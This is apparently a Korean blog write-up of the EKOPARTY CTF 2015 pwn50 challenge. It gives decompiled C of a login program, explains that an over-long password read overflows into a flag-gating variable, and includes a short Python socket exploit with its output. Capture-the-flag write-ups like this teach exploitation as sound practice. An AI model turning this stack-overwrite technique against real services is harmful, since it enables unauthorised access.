-
[EKOPARTY]pwn50CTF 2015. 10. 26. 04:56
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rcx@2
int *v4; // rdi@2
int result; // eax@11
__int64 v6; // rbx@11
FILE *stream; // [sp+18h] [bp-D8h]@1
int v8; // [sp+20h] [bp-D0h]@2
int v9; // [sp+24h] [bp-CCh]@5
int v10; // [sp+34h] [bp-BCh]@5
__int64 v11; // [sp+38h] [bp-B8h]@5
int v12; // [sp+48h] [bp-A8h]@5
char s; // [sp+50h] [bp-A0h]@2
__int64 v14; // [sp+D8h] [bp-18h]@1
v14 = *MK_FP(__FS__, 40LL);
stream = fopen("flag.txt", "r");
if ( stream )
{
fgets(&s, 32, stream);
fclose(stream);
v3 = 5LL;
v4 = &v8;
while ( v3 )
{
*(_QWORD *)v4 = 0LL;
v4 += 2;
--v3;
}
*v4 = 0;
v8 = 17;
v10 = 16;
v12 = 0;
printf("User : ", 32LL, v4 + 1, argv);
fflush(0LL);
read(0, &v9, v8);
printf("Password : ", &v9);
fflush(0LL);
read(0, &v11, v10);
if ( !strncmp((const char *)&v9, "charly", 6uLL) && !strncmp((const char *)&v11, "h4ckTH1s", 8uLL) )
{
puts("Welcome guest!");
if ( v12 == 1 )
printf("Your flag is : %s\n", &s);
}
}
else
{
puts("Error leyendo datos");
}
result = 0;
v6 = *MK_FP(__FS__, 40LL) ^ v14;
return result;
}
소스르로면, 간단하게, 아이디패스워드만 맞춰주면되는데, 마지막에 v12가 1이 되어야하기때문에 read함수의 취약점을이용해서 오버플로우시켜야한다.
read함수는 널바이트만 안만나면 쭉 입력받기때문에 해당 취약점을 이용해서 쭉맞춰주면된다.
잘보면 패스워드를 입력하는건 v11인데, v11을 오버플로우시켜서 그 뒤에있는 변수 v12를 덮을수있다.
너무나도 간단하다.
실제대회때 v12오버플로우를 못시켜서 안절부절했지만 엄청나게쉬웠다
from socket import *
import struct
p = lambda x:struct.pack("<L",x)
HOST = "hackcat.kr"
PORT = 12345
s = socket(AF_INET,SOCK_STREAM)
s.connect((HOST,PORT))
payload = "charly"
payload += "\x90"*(17-len(payload))
payload2 = "h4ckTH1s"
payload2 += "\x90"*(16-len(payload2))
payload2 += p(1)
s.send(payload)
print s.recv(1024)
s.send(payload2)
print s.recv(1024)
print s.recv(1024)
s.close()
>>HackCat:Desktop Songsangjun$ python login.py
User :
Password :
Welcome guest!
Your flag is : flag is asdfasf
'CTF' 카테고리의 다른 글
SSA과제 qlvlejtm (0) 2015.11.01 [JFF3]Market1 (0) 2015.10.29 [CodeGate 2014]nuclear (0) 2015.10.22 [2015 정보보호올림피아드]plzhackme (0) 2015.10.17 [Hansei Wargame]Pwnable (0) 2015.10.08